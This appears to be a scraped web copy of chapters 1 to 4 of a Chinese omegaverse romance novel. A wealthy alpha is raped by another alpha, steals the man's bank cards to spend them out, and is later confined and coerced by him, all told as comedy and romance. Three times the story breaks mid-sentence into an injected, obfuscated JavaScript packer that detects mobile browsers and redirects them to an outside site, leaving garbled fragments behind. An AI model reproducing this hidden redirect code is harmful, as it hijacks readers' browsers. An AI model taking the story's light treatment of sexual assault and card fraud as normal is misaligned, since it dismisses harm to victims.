《都是A也不能当狗啊!》 1. 第 1 章 “林大公子,今天忙不?我们有新局,要不要一起去?” 一个剃着寸头的男人看到林迎的身影,就凑了上来勾住他的肩膀。 林迎将他的手一把拍开,嫌弃道:“我可没你们那么闲。”他说着还翻了个白眼。 寸头迟疑了一下,干笑着搓着手说:“那您什么时候有空?” “没空。”林迎懒得解释,抛下他就走。 直到看不见林迎的身影,那人才生气咒骂:“不就仗着自己家世,还是个阿尔法,就这么嚣张,没有家里帮衬屁也不是!” 那人一边骂骂咧咧一边离开。 林迎烦躁地揉了揉太阳穴。今天他有个相亲,家里非要让他去,说不去就断了他所有卡。 那是和他商量吗?那是决定就给他做好了!他不遵循决定,以后就别想要家里一分钱。 他无奈能妥协,不就是相亲而已,到时候找个借口说没看上就行了。 相亲的地点是在一个高端的西餐厅,林迎家里有钱,可他不喜欢来这种地方,规矩太多,光是预约都要提前大半个月甚至更长时间,也亏得他爸妈能临时给他定到西餐厅的位置。 林迎走进去,立马有人上前问他有没有预约,他报了姓名,服务员就带着他去包间坐下。 包间很宽敞,十几个人聚会不是问题。他进去的时候里面空荡荡的,他特意回到门口,看了一眼门口的门牌号,又问服务员:“只有我来了?” 服务员说:“是的,先生,现在只有您来。您是有其他朋友要来吗?” 林迎点头说:“嗯,来了让人进来。” 在屋里等了十分钟没等到,林迎有些不耐烦,走来走去的。 他林大少爷什么时候等过其他人?心里不爽,也懒得等人,直接点了菜。 刚吃两口,就听到外面的嘈杂声,他打开门,一股甜腻的味道扑面而来。 他皱眉捂住鼻子,服务员连忙过来说:“先生,您先去里面待着,有个欧米伽突然进入发情期,免得影响您。” 服务员说完就匆匆离开,去提醒其他客人。 林迎正想把门关上,就见不远处有个高大的身影,看着像是个阿尔法,还是个被欧米伽信息素影响的阿尔法。 林迎本不想多管闲事,可转眼一想,竟然有欧米伽发情,那么其他欧米伽跟阿尔法都会被疏散,他也不用去应对什么相亲。 心情愉悦,既然这样,他也不介意做一些好事,他出去扶着走路有些不稳的男人说:“我带你去酒店。” 餐厅隔壁就是酒店,他开了房把人带上去,男人长得高大,几乎快压他一个头。 他把人搀扶到门口,和他说:“行了,你进去,我和前台说一声给你送药过来。” 男人喘了口气,沉声问:“你不怕被我影响?” 林迎笑了说:“这有什么好影响的,我也是阿尔法。” 男人却眯着眼看他,同是阿尔法应该会很排斥其他阿尔法周身的信息素,可林迎像是没有察觉到一样,一路上跟个没事人一样,把他送到了房间,现在还说着要去给他找阿尔法的抑制剂。 “我不需要抑制剂。”谢相连嗤笑说。 “还不需要抑制剂,也不看看你现在什么模样。” 男人脸色通红,那双眼更是沾染了情欲,看人的时候自带几分凶狠。 林迎强撑着才没有被他吓跑,他也是顶级阿尔法,从来没有阿尔法可以在他面前横着走,他头一次遇见像和他一样是顶级阿尔法。 他并不觉得欣喜,反而有几分想远离他。 谢相连盯着眼前的人,处在危险之中,却浑然不觉,还有功夫和他开玩笑。 易感期烧的他眼红,脑袋也疼,太阳穴突突的跳着,眼前这人,分明和他一样是阿尔法,可却莫名有着吸引力。 他一把拽住林迎的手,把人拽进房间里。利落的将人按在门上,对着林迎的脖子就啃了下去, 林迎一怔,反应过来立马怒了,抬脚就踹:“睁大你的狗眼!我是Alpha!” 对方顿了下,笑得意味深长:“Alpha正好,耐艹。” 说完真的跟狗一样下嘴越发重。 林迎猛地将他推开,伸脚去踹他。 谢相连轻松抓住他的脚踝,拉住他脚踝往自己身上带,两人瞬间紧紧贴在一起。 林迎眉眼跳了跳,威胁道:“你再不放手,让你瞧瞧我的厉害。” 谢相连嘴角噙着笑:“那就让我尝尝你的厉害。”他转了个身,一把将林迎推到床上。 林迎一惊,后知后觉这人发什么癫,不是在和他开玩笑。 高大的身影压在他身上,一只手把他挥出去的拳头带到头顶,另一只手迅速地去扯他的衣服,林迎大惊失色。 可任由他怎么喊,眼前的人都没有放过他。 第二天,林迎只觉得浑身都是疼痛,他一瘸一拐去了浴室,看着满脖子的咬痕,气得牙痒痒。 穿戴整齐后,他确保脖子上的红印不会被发现,才回到卧室。 举起手想给床上的人一拳教训教训他,可拳头抬起的一瞬间,又想起这人昨晚可怕的体力,拳头无力地放下,识时务者为俊杰,既然体力上比不过,那他总得让对方吃点苦。 他去翻男人的衣服,发现对方包里有几张卡,连带着身份证和银行卡全部带走。 拿到卡的第一时间,他就跑去最近的一家店,随便拿了个女士的包。 刷卡的时候,服务员再三确定是否要送给他对象,林迎瞪了他一眼,服务员立马帮他刷卡。 “请问您的密码是?” 林迎拿出男人的身份证,迟疑地念了对方的出生日期,服务员按密码时,他紧绷着身体。 冲动的大脑这时稍微回了一点理智,如果被发现他偷别人的银行卡来刷,会不会被抓去警局?到时候别说相亲的事了,他爸妈一定会毫不犹豫地断掉他所有经济来源。 服务员刷完卡,把卡递给林迎,恭敬道:“先生,卡您拿好,我这边帮您打包。” 林迎眨了眨眼,拿着女士包出了门,还有些迷茫。怎么有人现在银行卡的密码都是用自己的出生日期?就不怕被别人捡了卡吗? 不过这不是他应该考虑的事,确定密码后,他把所有的店都逛了遍,手表店、球鞋店……凡是看得上的,大手一挥全部刷了下来。 家里不太缺他钱,给钱也大方,但给他的卡到底有限额。 他刷了一早上,买完都让他们送到他小区去。一早上下来,他累得不行,买了杯咖啡喝了两口,叹了口气,总觉得某个地方还痛得很。 他皱起眉,越发不爽,他刷了一个早上,怎么这卡还没刷到限额?难道这卡不限额? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294886|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想着,抱着尝试还有报复的心理,继续去刷卡,几乎把商城的所有东西都买了下来,才把卡刷爆,心情美好地回了家。 他买的东西实在有些多。 回到小区,立马有人把他的东西送上门,他让人去整理,看着他们进进出出,突然有些后悔为什么他不干脆去买套房呢。他刷的这些钱几乎可以在这市中心买一个大平层了,比他现在住的这房子都要贵。 不过转眼想一想,买房手续太繁复,说不准还没等他把卡刷爆,那狗男人就发现自己的卡被他拿走了。 这么想,林音越发觉得自己聪明。还好先下手为强,没有给对方拿回去的机会。 开心没一会儿,就接到他妈打来的电话。 “林迎,你怎么回事?不是让你去相亲吗?怎么丢下人家一个欧米伽就走了?” 林迎比她还生气:“我去了啊,等了很久都没等到人。您没看到新闻吗?有个欧米伽发情,我就先走了。” “你这孩子怎么一点绅士风度都没有?你就不怕留下那个欧米伽在那里也会被影响到?” 凌云无语,深吸了口气:“是啊,老妈,您想想,如果真的被影响,那我也会被影响到。我一个阿尔法带着一个欧米伽离开,现在您就不能打电话给我了,怕不是得去警局保我出来。” 老妈顿了一下,说:“好像是有点道理。” “当然有道理了。这种事情让那些贝塔去做就好了。”他语气带着不屑。 老妈无奈说:“虽然妈妈很自豪你是阿尔法,但是你不能总是看不起其他阿尔法还有贝塔,你这样下去迟早有一天会遭报应。” “怎么可能?”林迎想说没有人打得过他,结果腰一阵酸痛,立马想起昨晚发生的事,脸立马就黑了下来。 忍着怒火说:“行了,老妈您就别给我介绍什么欧米伽了,我现在不着急结婚。” “你又不上班,不结婚你想干嘛?” “总之我还有我的梦想没完成,就先这样,挂了,老妈再见。”林迎说完不给老妈反应的机会,直接把电话挂了。 他怎么可能去结婚?都说婚姻是爱情的坟墓,何况他连爱情都没有,更没有必要去结这个婚。 可能是走了一天的原因,很少感觉到身体不舒服的林迎头一次觉得浑身上下的骨头都不对劲。 尤其是走路的时候,某处实在疼痛得很。 他想着去按摩店按摩一下,可一想到按摩穿的衣服不多,恐怕会被别人看到他身上的痕迹,又黑着脸打消了这个念头。 那些在帮他整理衣帽手表的人被他赶走,任由那些东西堆在客厅,自己回了卧室。 一躺下就疼得他跳起来,无奈翻了个身趴下,想着好好休息,可是越想越生气。 凭什么他要遭这种罪?就算是把对方的卡刷爆,依旧没能解气。 他拿出手机给狐朋狗友所在的群里发了条信息:“跟你们打听个人。” 那群狐朋狗友都供着他,立马就冒泡问:“林大少爷想打听谁?” 林迎对着手机发语音:“帮我找一个男的,看着和我差不多年纪,但比我高一点,是个阿尔法,昨天出现在海伦餐厅。” 他发完,群里有人说:“林大少爷,咱们市里光是这种就有不少了。” 林迎啧了一声说:“长得很帅,是我见过最帅的,可真几把帅。” 2. 第 2 章 明明是在夸别人帅,可群里人都莫名听出了咬牙切齿的意味。 啊,是谁惹他们林大少爷生气了? 林迎长得帅,这也是他嚣张的资本之一。 大多数颜狗看到林迎的脸,什么气都消了。 他们群里也有人不是奔着林迎的家世,也不是奔着他的钱,完全就是冲着他的颜值来的。虽然同为阿尔法,但是并不妨碍他们舔林迎的颜。 他们不敢说,可心里没有几个是干净的。 林迎是阿尔法又怎么样?喜欢阿尔法的阿尔法大有人在,尤其是林迎这样一个嚣张跋扈的阿尔法,被压在身下时,光是想想就能让人激动得睡不着觉。 不过这些可不能让林迎知道,不然他们怕是没有命看到明天的太阳。 群里立马齐声应着会去找符合他描述的人。 林迎满意,去冰箱拿了点冰块,装在袋子里放在腰处,那昨日的疼痛才消去些许。 他趴在床上闭眼享受,做着梦,希望一觉醒来就能拿到对方的信息,然后让对方后悔对他所做的一切,最好跪下来向他求饶。 另一边的谢相连起来后并没有看到人,有些愧疚,又有些回味。 他不是什么烂好人,自制力也没有他想的那么强,何况昨天晚上的人,哪哪都是按照他的喜好长的,滋味也很不错。 易感期很难控制,尤其是在和他契合的人面前,更是难以把控自己。他易感期是被临时引起的,他脱离得快,影响并不算大,一个晚上勉强能结束他的易感期。 人虽然跑了,但是该补偿还是补偿,他不缺那点钱。 谢相连洗漱完,发现他的钱包空荡荡,卡被拿走了,身份证也没了,他心里有不好的预感。 助理一个电话打过来,着急说:“老大,您终于接电话了,再过十分钟有一个很重要的会议……” “我知道。”谢相连打断对方说,“我现在过去。”想了想又说,“找个餐厅吃饭,算是赔礼。” 助理应了一声去安排,没一会儿就把餐厅的地址发来。 谢相连过去先是和合作伙伴道歉,合作伙伴见他态度好,倒是没和他计较,加上这个餐厅也符合他的喜好,更不在意谢相连的迟到。 两人一边吃一边谈,合作很顺利谈下来,只是不知道为什么,谢相连总觉得太阳穴突突地跳。 等助理过来拿他的卡去结账时,他总算知道是怎么回事了。助理拿着他的卡回来,一脸苦瓜相凑到他身边低声说:“老大,您的卡限额了。” 助理刚说完的同时,谢相连的手机也收到了一条短信:“您的余额已达上限,如有疑惑请联系xxxxx” 后面是一些客套话。 他的卡是几个卡通用的,除非去买游艇那些东西,不然不会刷到上限,他也没有开消费时的短信提醒,现在一条限额短信直接让他愣在原地。 几秒钟时间,他立马理清是怎么回事,昨天晚上那小家伙跑了,但是并没有不要他的赔偿,他自己给自己拿了赔偿——将他的卡刷爆了。 对面的合作人担忧地问:“如果不介意的话,这顿饭我来请。” 闻言,谢相连的脸色又难看了几分。人生第一次,他在外面结不起账,还是在合作伙伴的面前,这脸真是丢到姥姥家了。 谢相连脸上保持着微笑,说:“不用。”又看向助理。 助理无奈说:“老大,我工资卡不在我手里,这顿饭我也请不起。” 对面的合作伙伴连声说:“没事没事,认识谢总已经是我的荣幸,不过是一顿饭,有空谢总再请回来就是了。” 谢相连脸上的笑依旧挂着,只是这笑怎么看怎么恐怖。 他幽幽对助理说:“要是这件事都办不到,就收拾东西回家。” 助理惊悚,立马说:“我立马去办!” 助理匆匆离开,他被谢相连的卡刷不了这件事震惊到,本想着只是先去和谢相连说一声,没想到合作伙伴的耳力非凡,能听到他说的话。 谢相连那么威胁,他立马就想到了解决法子,谢相连不是第一次来这家餐厅,餐厅经理也认得他们,谢相连不是什么小人物,只要说一声,餐厅会同意的。 合作谈下来了,饭也吃了,回到车上,谢相连气笑了。 前面的助理立马转身,双手合十说:“老大,以后我不会犯这种低级错误了。” 谢相连薄唇轻启:“滚。” 助理当然知道这不是在赶他走,连忙开车,不再去看后面的谢相连。 谢相连是在笑林迎不愧是他看上的人,不仅长相合心意,就连性格也不是省油的灯,能毫无负担地把他的卡刷爆。 他这些卡虽然余额通用,但加起来也有上亿的余额,一次性给他刷爆,胆子不是一般的大,他已经开始期待下次和他见面的场景了。 谢相连眼里翻涌着占有欲,林迎最好祈祷不要被他抓到,他可不会轻易放走他。 他不是什么好人,遇到喜欢的东西不会放手,人也一样。现在是看上了,那对方只有成为他的人的一个选择。 林迎睡到一半突然被冻醒,他把放在后腰上的冰袋扔到地上,揉了揉被冻得有些失去知觉的后腰。 刚刚莫名打了个寒颤,这个点难道是他妈在想他吗?不应该,相亲没成功不是他的错,他妈不是不讲道理的人。 他不放心,担心卡用不了,打开购物软件,首页是一个狗项圈。莫名想起某个像狗的人,想也不想直接下单。 下单显示成功,他的卡依旧能用,他松了口气,把这事抛之脑后,东西买了也懒得退单。 累了一天,看看时间,已经到了晚饭的点。 林迎找了一家中餐馆,点了几个常吃的菜,拿手机看群里人的消息。 群里不少人在艾特他,他奇怪地看了看,有几个在替他点蜡烛。 他黑着脸发条语音出去:“一个个的哭丧呢?” “林大公子,您可能真的要出事了。” 林迎奇怪,对方不等他问就说:“您让我们去帮忙找的那个人,不出意外的话,应该是谢氏集团的总裁。” 林迎迟钝问:“什么总裁?估计是皮包公司吧。”他看不起谢相连,也想也不想就出口贬低。 “林大公子,在咱们这还能有几个敢叫谢氏集团的?” 林迎沉默片刻,发出一声“卧槽”,直接开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294887|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了群聊通话。 群里陆陆续续进来一群人,七嘴八舌说着信息,林迎听不清,怒吼一声:“闭嘴!” 手机立马就安静了,林迎这才问:“你们是想说谢氏集团那个人见人怕的总裁?他不就是继承了家里的集团吗?真那么有能耐?” “林大公子,不是我们唬你,如果您得罪他的话,您最好去认错。” “我认什么错?我有什么错?” 另一个人说:“您这么说,那肯定是做了亏心事。” 林迎沉默好半晌才问:“认错有用吗?” 对方不确定地说:“也许有用,说不定他心情好就原谅了您呢?” 林迎不乐意了他道什么歉?难道再把自己洗干净,送到对方床上去?一想想他就起了一身鸡皮疙瘩。 一想起这件事,他越想越不甘心。明明是谢相连有错在先,要处也是他先跟我认错。 他是把人家的卡刷爆了没错,可如果不是谢相连先惹了他,他怎么会做出这种无聊的事?总之让他认错是不可能的,他就不信了,谢相连能厉害到那种地步。 谢相连的名字他也有所耳闻,但和他不是一个圈子的人。一个是工作狂,一个是纨绔子弟,两人压根就没有交集。 现在骤然提起他的名字,还有些恍惚,就像他在吃长寿面,突然有人递给他一对刀叉一样,哪哪都不对劲。 林迎不想管,那些狗腿也不再提这件事,邀林迎一起出去玩:“林大公子最近真的很忙,听说您去相亲了,真的假的?不会是要有家室的人吧?” “是啊,林大公子,您不是说不想结婚的吗?怎么家里让相亲就相亲去了?” “我才没去相亲,有什么局?”为了证明自己没有相亲,林迎听他们说晚上要去飙车,想也不想就答应了。 飙车的钱当然是林迎出的,不然他们也不会每次都想叫上他。 那点钱对林迎来说也不算钱,他也知道他们那点小心思,花点小钱能让他们恭维自己,这买卖对他来说不亏。 林迎对飙车这事本是可有可无,这一天晚上的飙车,让他肾上腺素疯狂上升,连身体的不适都忽视了,难得起兴,陪着他们玩到第二天。 他见他们一个个都有气无力瘫倒在地,他靠在车身上,嘲笑道:“就这点体力还能陪我玩?” “那还不是您太厉害了,以前我们都不知道您是让着我们的。” 以前林迎也会陪他们玩,但没有像现在这样陪他们玩个通宵,每次到大半夜,他就会丢下他们去玩其他的。 简单来说,林迎是个三分钟热度的人,什么事情玩一下就没兴趣,就连飙车这事也是,每次其他人刚玩得开心,林迎就要找借口离开。 他们的恭维让林迎很受用,不过身上的束缚一松下来,加上肾上腺素下去,又觉得浑身都疼痛,比白天还要难受得很。 于是众人就见本来还和他们嬉皮笑脸的人,脸色瞬间就难看下来。 大家面面相觑,也不知道自己哪里说错了,林迎更不会和他们解释自己因为什么心情不好。 依旧惯例,二话不说就丢下他们,他账已经结了,众人也只能说着好话,目送他离开。 3. 第 3 章 林迎回到家时,天已经完全亮了。接下来几天他依旧不要命一样疯玩,直到老妈一个电话过来制裁他。 “今天晚上回家来。” 林迎不愿意:“老妈,如果是相亲的事,您就不用再说了,就算相亲也得给我点休息的时间,哪里有刚相亲不久现在又相亲的道理?您把您儿子当种猪了吗?” “你这孩子是在暗戳戳说你娘我是猪吗?”老妈说。 “那明明是老妈您自己说的,我可没有说过这话。老妈,您永远是世界上最漂亮的女人!” 老妈没和他废话,只下命令道:“今天晚上过来,不是相亲的事。” “那是您要让我去工作?” 老妈笑了:“让你去工作,那不是把你爹辛辛苦苦赚的钱送别人吗?” “老妈您这话可有点伤人了。”他嘴上说伤人,可一点也不遗憾,他也没想过要去继承家业,工作那种事让他老爸来就够了,他只负责吃喝玩乐。 “别贫嘴了,今晚八点你要是不在,就让你爸把你卡停了。” “知道了。”林迎还能说什么,每次为了让他妥协他们都会使出这一招,且屡试不爽。 林迎又玩了一天,为了晚上不被老妈唠叨他总是熬夜,还特意睡了个下午觉,晚上精神抖擞去参加聚会。 他妈临时和他说聚会不在家里举行,给他发了个酒店的地址。 林迎奇怪,但还是照做,来的时候遇到他发小。 苏子珩一看见他转头就想走,林迎立马喊住他:“你躲什么?这好几天不见你了。” 苏子珩叹气:“这不是你这几天心情不好,怕触了你的逆鳞。” 林迎对着他后背拍了一巴掌,苏子珩被拍得往前走了好几步,捂着后背龇牙咧嘴说:“说真的,你以后有老婆了也这样拍她,小心把人家欧米伽拍坏了。” “别提这事了,最近也不会有相亲,你躲着我不会就是因为这事吧?” 苏子珩尴尬说:“一提起相亲你都不知道你脸色多难看,恨不得拉我一起去相亲。” 林迎确实有这个念头,想让苏子珩代替他去相亲。 “这都已经是过去式了,今天聚会你也来?” 苏子珩迟疑:“你不会不知道聚会是和谁吧?” “我不知道,我妈只是让我来而已。” “那你完蛋了。”苏子珩说。 他说完就想走,林迎一把把他薅住,扯着他衣领问:“话说一半,你找死啊?” 苏子珩苦着脸说:“那我说了我更要死!” “我是那样的人吗?” 苏子珩肯定点头:“对,你是那样的人。” 林迎:“……” 他一生起气来什么都顾不得,只想着把气撒到别人身上。苏子珩才不想触这个霉头,他能和林迎玩到一起,也多亏他懂得避开林迎的霉头。 他家里也不缺钱,没必要像其他人一样恭维林迎。林迎对他虽然和对那些狗腿子不一样,可他的脾气可是远近闻名的臭,他才不想无缘无故挨打一顿骂。 “说,我保证不会生气。” 苏子珩瞪他,林迎眯着眼:“你说不说?” 苏子珩哪里有选择的余地,只能一五一十交代:“你之前不是在群里打听谢相连吗?今天他也来。” “他来做什么?”林迎下意识转身就想走。 苏子珩一把拉住他:“不是阿姨喊你来的吗?你敢走?” 林迎没办法,和他一起坐电梯上去,一边问:“他来做什么?” “这长辈之间说见个面,互相认识一下。” “无缘无故的,我和他有什么好认识的?” 家里没有想着让他去工作,也更不会想着给他介绍什么商业合作伙伴。越想越古怪。 “那只能是谢相连要求的了,”苏子珩猜测说,“虽然不知道你做了什么,但他很可能是冲着你来的。你有没有听过上周他丢脸的事?” “嗯?他丢什么脸了?”林迎还真的不知道,他只打听了一下谢相连的身份,知道他身份不简单之后,只想让他从自己的世界滚蛋。 至于找麻烦,那还是算了,本来他就帮不上家里什么忙,要是给家里惹麻烦,那他真的是得被赶出家门了。 苏子珩把谢相连结账没成功丢脸的事告诉他。 “你都不知道当时他的脸色有多难看,我猜他这种身份的人应该没有遇到过这么尴尬的事,他这算社会适应性死亡吧。” “不是,”林迎慌了,“他那么大一个人,难道就那么点钱吗?不是说他多厉害多厉害,怎么可能就那点钱,一定是你们认错人了。” “就是他,”苏子珩肯定道,“就是因为太过奇葩,所以才传的到处都是。” 林迎深吸了口气,不死心说:“他那么厉害,怎么会让这种事被别人知道?” “那我就不知道了。这事不会真的和你有关吧?”苏子珩狐疑,越想越觉得有可能是林迎干的,林迎这人什么祸没有闯过? 小时候上小学,为了证明自己是顶级阿尔法,同年级的、高年级的阿尔法都打了个遍,最后林家赔了很多钱,这事才算过去。 初中的时候,他长相出众,收到不少欧米伽、贝塔甚至阿尔法的情书,无一例外都把情书随手递给其他人,害得不少人都以为自己恋爱了,结果一见面才知道被林迎戏耍。 林迎这人莫名其妙的对这种低级的恶趣味很感兴趣,虽然成年后看着靠谱许多,苏子珩到底是和他一起长大的,知道他骨子里压根就没有变,如果真的给他逮着机会能让谢相连出丑,他也可能真的会这么干。 只是为了一时的开心,他也会去做。 这也不怪苏子珩,之前林迎在群里突然问起谢相连的事,肯定是和谢相连有什么不愉快的事。 苏子珩猜得八九不离十,可他怎么猜也不会猜到林迎报复谢相连,是因为对方把他睡了,林迎也不可能告诉他。 电梯叮的一声,门缓缓打开,林迎依旧站在电梯里,苏子珩已经走出了电梯,转身看他:“你来就会遇到他,但你不来,阿姨肯定不会放过你。” 林迎咬着牙,小声说:“不一定会遇到他,你看到他和我说。” “怎么,你想躲着他?” “你管我那么多。”林迎不正面回答他,可他要做什么,苏子珩也都猜到了。 进了宴会厅,林迎快速找到老妈,过去嬉皮笑脸的和她问好,老妈摸了摸他脑袋:“你这孩子,又在哪惹事了?” 林迎撒娇道:“我哪里有惹事。” “看你这眼神,肯定是心虚了。是老实交代,还是等我发现?” “真的没有。”林迎说什么也不愿意说,被一个阿尔法压这件事说出去,那他这辈子就完了。 他那些狐朋狗友,还有被他嘲笑过的阿尔法和贝塔一定会使劲踩他,他没脸见人,和死了有什么区别。 “去认识点其他人,”老妈说,“这些人虽然不一定很厉害,但是人都还不错,比你那些狐朋狗友好多了。” 林迎乖乖说:“知道了。”他假装和其他人打交道,实际余光都在瞟有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294888|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有谢相连的身影。 苏子珩跟着他,见他一副老鼠见了猫的模样,好笑说:“走吧,我掩护你。” 林迎开心道:“就知道兄弟你靠谱。” 他和苏子珩一边往门口走去,一边警惕周围。 到了门口,林迎松了口气:“总算能离开这个地方了,那我就先走了,我妈问起来,你就说我吃坏了肚子。” 苏子珩笑话他:“你借口也太低级了。” 林迎可管不得那么多,抬脚就往外面走去。 这一走就撞到了人,下意识开口骂人:“走路不长眼……”话还没说完,就看清了眼前人的长相。 对方看着他,笑得和蔼可亲,可林迎只觉得那笑容充满了恶意,令人胆寒。 他哆嗦了一下,低下头假装自己不存在,可谢相连已经看见了,伸手抓住他的手臂。 林迎又是一哆嗦,那天晚上的触感再一次涌上来,立马就红温了。他猛地把谢相连推开,这边动静大,不少人看向这边。 苏子珩低声提醒:“阿姨看着呢。” 有人看到谢相连,立马过来和他寒暄。谢相连冲对方笑笑,林迎趁着这个机会丢下苏子珩匆匆跑了出去。 本想直接离开酒店,可刚刚谢相连不知道做了什么,可能是释放了点信息素,他现在感觉有些喘不过气。 这一层都是平时用来开宴会厅的,他找了一间空着的休息室躲进去,谢相连应该不会猜到他还有胆子留在酒店。 缓了许久,林迎才感觉呼吸顺畅了些许。身为顶级阿尔法,他很少被其他阿尔法的信息素压制,平时他还用信息素逗其他阿尔法玩,现在倒是遇上了对手。 休息室里有酒水,他进了小房间给自己倒了一杯葡萄酒,一口气灌下去。 冰凉的液体让他清醒了几分,酒精又让他脑子混沌了些许。他晃了晃脑袋,把酒杯放下,决定还是回自己家去,没有什么地方比他家更安全了。 他走出小房间,身后伸来一只手,从身后按住他,一只手放在他小腹上,一手放在他脖子上。 身后传来熟悉又危险的气息,男人低沉说:“我易感期快到了。” “易感期到了和我有什么关系?”林迎声音都带了几分颤抖,努力压下尾音商量着说,“你上次刚来易感期,不可能现在又来。” “上次不是我的易感期,是个意外。” “我管你是不是意外,你易感期要么去找欧米伽,要么去找医生,我又不可能帮你解决。” 谢相连的手从林迎的喉结处划过,缓缓向下移去。 冰冷的手指落在锁骨上,林迎疯狂挣扎:“我告诉你,你敢碰我,我一定和你拼命!” “你打得过我?” 谢相连一句话把林迎问沉默了,他当然打不过谢相连,不然那天晚上也不会被他折腾得那么惨,而他越折腾,谢相连却像是越兴奋。 林迎略一沉默,立马就没了动静,跟个死人一样待在谢相连怀里不动了。 谢相连盯着林迎的发旋,只觉得有趣。挣扎也好,不挣扎也罢,都改变不了林迎符合他胃口这件事实。 他低声说:“你得负责。” 林迎炸毛:“我负责什么?!那天晚上!没记错的话!” 他炸毛起来连自己也没放过,话不经过大脑脱口而出:“被压的人是我吧!你矫情个什么劲!我都没找你负责!” 他气喘吁吁,恨不得撬开谢相连的脑袋看看他脑子里装的什么。 “行,我负责。” 林迎:“……?” 4. 第 4 章 谢相连一句我负责,让林迎当场愣在原地,他猛地下蹲,从谢相连怀里钻出来,面向他皱眉道:“我是要你负责的意思吗?” 那分明是在谴责他没事找事,没想到他倒是顺着他的话说会负责,他稀罕他的负责吗? 他现在唯一想做的是离他远点,越远越好,最好一辈子都不要相见。 可显然谢相连和他的想法截然相反,今天能在这里相遇并非偶然,是他精心策划,虽然费不了多少心思,可难得有一件事能让他如此上心,怎么可能轻而易举就放他离开。 对上谢相连晦暗不明的眼神,林迎只觉得毛骨悚然。为了壮胆,他声音也大了几分:“我做的不对,你也有不对的地方,这件事就到此为止。” 他说的理直气壮,完全没打算询问谢相连,不过是口头通知他一句。 谢相连笑着看他不说话。 “你不说就当你答应了,”林迎立马抓住机会,“那从今天开始,我们就两不相欠。” 林迎说完就像贼一样想溜走,谢相连早做好准备,在他准备出门的一瞬间,拉住他手腕,把人拉回来摁在怀里。 “谁要和你两不相欠,”他笑盈盈问,“最近没听到关于我的事?” 林迎心道不好,果然要和他算账了,他装傻说:“没有,没有听到关于你的任何事。” “既然没听到,那我告诉你。” 在林迎震惊的视线下,谢相连把他当时有多狼狈的场景描述得绘声绘色,不知道的还以为他在吃别人的瓜,只有林迎知道他这是在说自己的事情。 谢相连说完甚至还面不改色问:“你觉得这好不好笑?” 林迎哪里敢说好笑,绷着脸一本正经道:“这有什么好笑的?谁都会有失误的时候。” 谢相连伸手抬起他下巴,他的手很大,包住了林迎的半张脸,捏着林迎脸颊道:“我倒是觉得挺好笑的。” 他大拇指按着林迎的嘴角往上扯,露出尖尖的虎牙,“我看你也觉得挺好笑的。” 林迎否认:“没有。” 谢相连只是笑着看他,林迎眼珠子转了一下,张嘴咬住他手指。本想趁着他吃疼撤开的时候跑出去,却没想到他咬住后,谢相连非但没有躲开,大拇指被咬着,他食指还伸了进去。 林迎干呕的一声,连忙张嘴吐掉。谢相连得寸进尺,趁着他张嘴,伸手去抠他嗓子眼:“不是喜欢咬人?咬啊。” 林迎被他抠得眼泪都出来了,伸手急急地拉住他的手,控诉道:“是你先动手的!” “对,是我先动手的,”谢相连懒得和他掰扯,只是道,“跟我回去。” “为什么跟你回去?”林迎反过来抓住他的手,急着伸手去踹他。 谢相连另一只手握住他脚踝,勾唇问:“怎么,那么迫不及待?” 林迎沉默了两秒,俯身猛地用脑门去撞谢相连。 谢相连属实没想到他会来这么一招,下巴一阵剧痛。 林迎总算挣脱开了,再次往门口去,被揪着衣领揪回来,当着他的面,谢相连将门锁上。 林迎一步一步后退,靠着墙呲牙咧嘴瞪他。 他这个小猫炸毛的模样,落在谢相连眼里,让谢相连越是肯定自己的眼光没有出错。既然确定自己眼光没错,人肯定是要带回去,他最后下了通牒:“是自己走,还是我帮你走?” “你这是犯法的。”林迎尚且还存在理智,知道谢相连这种人最怕出丑闻,一旦出丑闻,就连他公司的股份都会跟着下降。 果然林迎一说,谢相连没再说什么威胁他的话。 房间安静下来,林迎莫名开始烦躁,有一股无形的东西裹挟着他,让他有些喘不过气。他看着不远处云淡风轻的人,后知后觉是谢相连在放信息素。 同为阿尔法,同类的信息素伴随着警告作用,和那日谢相连易感期无法控制的信息素不同,现在的信息素准确地压向他。 林迎身为顶级阿尔法,很少被这样对待,他喘了口气,靠着身后的墙,强撑着没有倒下:“你犯规。” “我哪犯规了?”谢相连问。 林迎被他压得有些难受,细密的汗珠从额头渗出,咬着牙说:“你用信息素压我。” 谢相连哼笑道:“这种手段你不是用的最顺手?” 林迎一时没反应过来谢相连这话是什么意思,他晃了晃脑袋保持清醒,手抠着墙,借着微弱的力支撑着身体的重量。浑浑噩噩的脑子缓慢转动,半晌才知道谢相连说的是他平时用信息素去压其他阿尔法的事。 